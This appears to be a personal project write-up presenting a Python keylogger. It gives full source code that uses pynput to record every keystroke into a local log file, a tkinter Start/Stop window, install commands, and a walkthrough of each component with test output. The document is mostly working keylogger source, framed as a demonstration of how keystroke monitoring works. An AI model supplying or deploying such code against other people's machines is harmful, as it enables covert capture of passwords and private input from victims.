A keylogger is a type of surveillance software that records every keystroke made on a system’s keyboard. Keyloggers can be used for both legitimate purposes like user activity monitoring or testing, and malicious intent such as stealing sensitive data.
In this project, I developed a Python-based keylogger using the pynput library. The program captures user keystrokes in real time and stores them in a local log file for analysis. It demonstrates how keystroke monitoring works under the hood and highlights both the ethical and security implications of such tools.
tkinter is mainly used for the GUI of this project – like when you wanted to start/stop the keylogger. Pynput is used to control and monitor the input devices on the system so this is the vital module used in this program.
import os
import tkinter as tk
from tkinter import scrolledtext
from pynput import keyboard
log_dir = "C:\\keylogs"
if not os.path.exists(log_dir):
os.makedirs(log_dir)
log_file = os.path.join(log_dir, "keylogs.txt")
def on_press(key):
try:
with open(log_file, "a") as f:
f.write(f"{key.char}\t{key}\n")
except AttributeError:
with open(log_file, "a") as f:
f.write(f"{key}\t{key}\n")
class KeyloggerApp:
def __init__(self, root):
self.root = root
self.root.title("Keylogger")
self.text_area = scrolledtext.ScrolledText(root, wrap=tk.WORD, width=50, height=15)
self.text_area.pack(padx=10, pady=10)
self.start_button = tk.Button(root, text="Start Keylogger", command=self.start_keylogger)
self.start_button.pack(pady=5)
self.stop_button = tk.Button(root, text="Stop Keylogger", command=self.stop_keylogger)
self.stop_button.pack(pady=5)
self.listener = keyboard.Listener(on_press=on_press)
def start_keylogger(self):
self.listener.start()
self.text_area.insert(tk.END, "Keylogger started...\n")
def stop_keylogger(self):
self.listener.stop()
self.text_area.insert(tk.END, "Keylogger stopped.\n")
if __name__ == "__main__":
root = tk.Tk()
app = KeyloggerApp(root)
root.mainloop()
Use the following command to install the pynput module on your system –
python3 -m pip install pynput
Use this command to install the tkinter module –
pip install tk
🛠️ Major Components:
📁 Log Directory & File Setup:
Creates a directory (C:\keylogs) and a keylogs.txt file for storing captured keystrokes.
🎛️ Key Press Handler:
on_press(key) captures each keystroke.
Uses a try-except block to handle both character keys and special keys like Enter or Backspace.
📜 Log Formatting:
Each log entry records:
key.char (actual character if available)
key (special key event representation)
📦 Dynamic Directory Creation:
Ensures the log directory is created only if it doesn’t already exist, preventing file errors.
🖥️ Tkinter GUI:
GUI window featuring:
A ScrolledText area for displaying status messages.
Start Keylogger and Stop Keylogger buttons for control.
🔘 Button Event Binding:
GUI buttons are linked to their respective methods (start_keylogger and stop_keylogger) for interactive control.
🎧 Keyboard Listener:
pynput.keyboard.Listener listens for key press events and triggers on_press.
📋 Real-time Status Updates:
Displays runtime messages like “Keylogger started…” and “Keylogger stopped.” in the GUI text area.
🛑 Listener Lifecycle Management:
self.listener.start() starts keylogging.
self.listener.stop() halts it cleanly without leaving background processes running.
▶️ Application Execution:
Runs the GUI application via root.mainloop() when the script is executed.
Output
Python Keylogger Script
Google Search: What is hacking? (Testing the keylogger)
keylogs.txt file is created in my C: drive. If it already exists then the text file is updated.
Keylogs.txt file contents. As you can see the keystrokes have been recorded and logged.